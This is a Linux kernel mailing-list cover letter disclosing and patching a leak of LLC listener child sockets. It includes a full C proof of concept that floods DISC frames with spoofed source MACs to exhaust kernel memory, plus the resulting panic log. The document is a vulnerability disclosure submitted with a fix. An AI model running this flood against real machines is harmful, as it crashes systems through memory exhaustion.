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Fri, 14 Aug 2026 11:59:13 -0700 (PDT) Received: from localhost.localdomain ([115.204.183.235]) by smtp.gmail.com with ESMTPSA id 98e67ed59e1d1-394ea96947dsm3636887a91.1.2026.08.14.11.59.09 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Fri, 14 Aug 2026 11:59:12 -0700 (PDT) From: Zihan Xi To: netdev@vger.kernel.org Cc: davem@davemloft.net, edumazet@google.com, pabeni@redhat.com, horms@kernel.org, kees@kernel.org, leitao@debian.org, tim.bird@sony.com, shuangpeng.kernel@gmail.com, ernestas.k@iconn-networks.com, luoxuanqiang@kylinos.cn, vega@nebusec.ai, zihanx@nebusec.ai Subject: [PATCH net v4 0/1] llc: fix listener child socket leaks before passive open completes Date: Fri, 14 Aug 2026 18:58:42 +0000 Message-ID: <20260814185843.4748-1-zihanx@nebusec.ai> X-Mailer: git-send-email 2.47.3 Precedence: bulk X-Mailing-List: netdev@vger.kernel.org List-Id: List-Subscribe: List-Unsubscribe: MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Hi Linux kernel maintainers, We found and validated a issue in net/llc/llc_conn.c. The reproducer needs CAP_NET_RAW and CAP_NET_ADMIN in init_net. We've tested it, and it should not affect any other functionality. We will provide detailed information about the bug in this email, along with a PoC to trigger it. ---- details below ---- Bug details: llc_conn_handler() creates a passive-open child for every frame matched by an LLC listener. The child is immediately inserted in the SAP tables and takes a device reference, before the LLC state machine proves that the frame is a real passive open and before LLC_CONN_PRIM makes it available to accept(). A non-SABME frame never reaches that indication. The old path therefore leaves a published child behind which accept() cannot return. The same lifecycle gap also remains for SABME traffic when direct processing, backlog enqueue, or backlog processing exits before LLC_CONN_PRIM, and when a listener is closed with queued but unaccepted children. The fix creates children only for SABME commands. DISC and other commands that need an ADM-state DM reply are answered directly from the listener using the packet source address, while other non-SABME traffic is dropped without driving the listener state machine. For SABME, the child remains in the SAP tables during passive open so tuple lookup continues to win over the listener. The patch tracks children through pending and queued states, routes packets for a pending child through the listener-side handshake, and removes any child that has not been accepted when a failure, backlog drop, or listener close occurs. Final child destruction is deferred to process context so its timers can be synchronized safely. The root-cause fact fixed here predates d389424e00f9. Its parent already creates a listener-side child, publishes it to the SAP tables before LLC_CONN_PRIM, and has no rollback path if processing exits early. In the local visible history, the earliest commit where that root-cause fact is already present is 1da177e4c3f4 ("Linux-2.6.12-rc2"), so Fixes points there. The reproducer writes panic_on_oom only to turn the final memory exhaustion into stable crash evidence after the leak is already confirmed. It is not a prerequisite for the underlying bug or for the required-capability trigger path itself. packetdrill was not used here because the trigger depends on combining a PF_LLC listening socket with raw AF_PACKET injection over a veth pair while rotating the source MAC address to force distinct passive-open children. The PoC is centered on that listener-plus-raw-packet resource leak path rather than on a packetdrill-friendly timing script. Reproducer: gcc -O2 -static -o poc poc.c ./poc llc_rx0 llc_tx0 110000 For the validated run we used the privileged init_net setup below so the PoC could create llc_rx0/llc_tx0 and then send the crafted LLC traffic: ip link add llc_rx0 type veth peer name llc_tx0 ip link set llc_rx0 address 02:11:22:33:44:55 ip link set llc_tx0 address 02:11:22:33:44:66 ip link set llc_rx0 up ip link set llc_tx0 up ./poc llc_rx0 llc_tx0 110000 For deterministic crash evidence only, after confirming the leak with that required-capability trigger path, we additionally set: echo 2 > /proc/sys/vm/panic_on_oom We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment. ------BEGIN poc.c------ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #ifndef AF_LLC #define AF_LLC 26 #endif #define DEFAULT_RX_IF "llc_rx0" #define DEFAULT_TX_IF "llc_tx0" #define DEFAULT_SAP 0xc0 #define DEFAULT_REPORT_EVERY 10000ULL static void die_errno(const char *what) { perror(what); exit(EXIT_FAILURE); } static void usage(const char *prog) { fprintf(stderr, "usage: %s [rx_if] [tx_if] [count]\n" " rx_if: LLC listener interface (default: %s)\n" " tx_if: raw packet sender interface (default: %s)\n" " count: number of DISC frames to send, 0 means forever\n", prog, DEFAULT_RX_IF, DEFAULT_TX_IF); } static void get_if_hwaddr(const char *ifname, unsigned char mac[ETH_ALEN]) { struct ifreq ifr; int fd; fd = socket(AF_INET, SOCK_DGRAM, 0); if (fd < 0) die_errno("socket(AF_INET)"); memset(&ifr, 0, sizeof(ifr)); snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", ifname); if (ioctl(fd, SIOCGIFHWADDR, &ifr) < 0) die_errno("ioctl(SIOCGIFHWADDR)"); memcpy(mac, ifr.ifr_hwaddr.sa_data, ETH_ALEN); close(fd); } static int get_ifindex(const char *ifname) { struct ifreq ifr; int fd; fd = socket(AF_INET, SOCK_DGRAM, 0); if (fd < 0) die_errno("socket(AF_INET)"); memset(&ifr, 0, sizeof(ifr)); snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", ifname); if (ioctl(fd, SIOCGIFINDEX, &ifr) < 0) die_errno("ioctl(SIOCGIFINDEX)"); close(fd); return ifr.ifr_ifindex; } static int make_listener(const char *ifname, uint8_t sap, unsigned char mac[ETH_ALEN]) { struct sockaddr_llc addr; int fd; fd = socket(AF_LLC, SOCK_STREAM, 0); if (fd < 0) die_errno("socket(AF_LLC)"); get_if_hwaddr(ifname, mac); memset(&addr, 0, sizeof(addr)); addr.sllc_family = AF_LLC; addr.sllc_arphrd = ARPHRD_ETHER; addr.sllc_sap = sap; memcpy(addr.sllc_mac, mac, ETH_ALEN); if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) die_errno("bind(AF_LLC)"); if (listen(fd, 16) < 0) die_errno("listen(AF_LLC)"); return fd; } static int make_packet_socket(const char *ifname, int *ifindex_out) { struct sockaddr_ll sll; int fd; int one = 1; int ifindex = get_ifindex(ifname); fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); if (fd < 0) die_errno("socket(AF_PACKET)"); setsockopt(fd, SOL_PACKET, PACKET_QDISC_BYPASS, &one, sizeof(one)); memset(&sll, 0, sizeof(sll)); sll.sll_family = AF_PACKET; sll.sll_protocol = htons(ETH_P_ALL); sll.sll_ifindex = ifindex; if (bind(fd, (struct sockaddr *)&sll, sizeof(sll)) < 0) die_errno("bind(AF_PACKET)"); *ifindex_out = ifindex; return fd; } static void fill_src_mac(unsigned char mac[ETH_ALEN], uint64_t n) { mac[0] = 0x02; mac[1] = (n >> 32) & 0xff; mac[2] = (n >> 24) & 0xff; mac[3] = (n >> 16) & 0xff; mac[4] = (n >> 8) & 0xff; mac[5] = n & 0xff; } int main(int argc, char **argv) { static unsigned char frame[ETH_ZLEN]; unsigned char dst_mac[ETH_ALEN]; unsigned char src_mac[ETH_ALEN]; struct sockaddr_ll sll; const char *rx_if = DEFAULT_RX_IF; const char *tx_if = DEFAULT_TX_IF; uint64_t count = 0; uint64_t i = 1; int listener_fd; int packet_fd; int ifindex; if (argc > 1 && (!strcmp(argv[1], "-h") || !strcmp(argv[1], "--help"))) { usage(argv[0]); return 0; } if (argc > 1) rx_if = argv[1]; if (argc > 2) tx_if = argv[2]; if (argc > 3) { char *end = NULL; errno = 0; count = strtoull(argv[3], &end, 0); if (errno || !end || *end != '\0') { fprintf(stderr, "invalid count: %s\n", argv[3]); return EXIT_FAILURE; } } if (argc > 4) { usage(argv[0]); return EXIT_FAILURE; } listener_fd = make_listener(rx_if, DEFAULT_SAP, dst_mac); packet_fd = make_packet_socket(tx_if, &ifindex); memset(frame, 0, sizeof(frame)); memcpy(frame, dst_mac, ETH_ALEN); ((struct ethhdr *)frame)->h_proto = htons(3); frame[ETH_HLEN + 0] = DEFAULT_SAP; frame[ETH_HLEN + 1] = 0x04; frame[ETH_HLEN + 2] = 0x43; /* DISC command, P/F=0 */ memset(&sll, 0, sizeof(sll)); sll.sll_family = AF_PACKET; sll.sll_ifindex = ifindex; sll.sll_halen = ETH_ALEN; memcpy(sll.sll_addr, dst_mac, ETH_ALEN); fprintf(stderr, "listener_if=%s sender_if=%s sap=0x%02x count=%s\n", rx_if, tx_if, DEFAULT_SAP, count ? argv[3] : "0"); fprintf(stderr, "listener_mac=%02x:%02x:%02x:%02x:%02x:%02x\n", dst_mac[0], dst_mac[1], dst_mac[2], dst_mac[3], dst_mac[4], dst_mac[5]); fprintf(stderr, "sending LLC DISC commands with a unique spoofed source MAC each time\n"); while (!count || i <= count) { fill_src_mac(src_mac, i); if (!memcmp(src_mac, dst_mac, ETH_ALEN)) src_mac[ETH_ALEN - 1] ^= 1; memcpy(frame + ETH_ALEN, src_mac, ETH_ALEN); if (sendto(packet_fd, frame, sizeof(frame), 0, (struct sockaddr *)&sll, sizeof(sll)) < 0) die_errno("sendto(AF_PACKET)"); if (!(i % DEFAULT_REPORT_EVERY)) fprintf(stderr, "sent=%llu\n", (unsigned long long)i); i++; } close(packet_fd); close(listener_fd); return 0; } ------END poc.c-------- ----BEGIN crash log---- [ 1665.704541][T10284] Kernel panic - not syncing: Out of memory: compulsory panic_on_oom is enabled [ 1665.705358][T10284] CPU: 0 UID: 0 PID: 10284 Comm: poc Not tainted 6.12.74 #3 [ 1665.705911][T10284] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 1665.706676][T10284] Call Trace: [ 1665.706943][T10284] [1665.707181][T10284] dump_stack_lvl (lib/dump_stack.c:105 (discriminator 2)) [1665.707568][T10284] panic (kernel/panic.c:339 (discriminator 1)) [1665.707918][T10284] ? dump_header (include/linux/rcupdate.h:815 (discriminator 1) mm/oom_kill.c:455 (discriminator 1) mm/oom_kill.c:478 (discriminator 1)) [1665.708305][T10284] ? __pfx_panic (kernel/panic.c:277) -----END crash log----- changes in v4: - Create a passive-open child only for SABME and generate listener-side DM replies directly for non-SABME commands. - Use an atomic incoming-child lifecycle and serialize pending-child lookup, backlog processing, rollback, and listener close with the child lock. - Keep immediate SAP publication for passive-open tuple matching, but release unaccepted children on direct and backlog failures and on listener close. - Defer final incoming-child cleanup to workqueue context so timer synchronization does not run in the receive softirq path. - Add an LLC state lower-bound check before state-table dispatch. - v3 Link: https://lore.kernel.org/all/20260805175945.10698-1-zihanx@nebusec.ai/ changes in v3: - Create a child only for SABME and send listener-side DM responses directly to the peer for non-SABME commands. - Replace the unlocked pending flag with an atomic incoming-child lifecycle and serialize lookup, rollback, and backlog processing with the child lock. - Keep the immediate SAP publication needed for passive-open tuple matching, while rolling back unaccepted children on direct and backlog failures and on listener close. - Defer final child cleanup to workqueue context so timer synchronization does not occur from the receive softirq path. - Guard LLC state-table dispatch against LLC_CONN_OUT_OF_SVC and regenerate from net commit 2bb155e92167cd5ad6aae312e83291da2454f8b0. - v2 Link: https://lore.kernel.org/all/cover.1785386749.git.zihanx@nebusec.ai/ changes in v2: - Rework the fix to preserve the existing passive-open tuple matching semantics instead of deferring child publication until LLC_CONN_PRIM. - Track listener-created children which are still pending publication to accept(), and roll them back on every earlier failure or drop path. - Cover both the original non-SABME leak and SABME paths which fail before LLC_CONN_PRIM, including backlog enqueue and backlog drop failures. - Correct Fixes to 1da177e4c3f4 ("Linux-2.6.12-rc2") based on the earliest locally visible history carrying the same root-cause fact. - Clarify in Bug details that panic_on_oom is only crash-evidence setup and explain why packetdrill was not used for this reproducer. - v1 Link: https://lore.kernel.org/all/cover.1784725007.git.zihanx@nebusec.ai/ Best regards, Zihan Xi Zihan Xi (1): llc: fix listener child socket leaks before passive open completes include/net/llc_conn.h | 13 ++- net/llc/af_llc.c | 11 +- net/llc/llc_conn.c | 243 ++++++++++++++++++++++++++++++++++++++--- 3 files changed, 250 insertions(+), 17 deletions(-) -- 2.43.0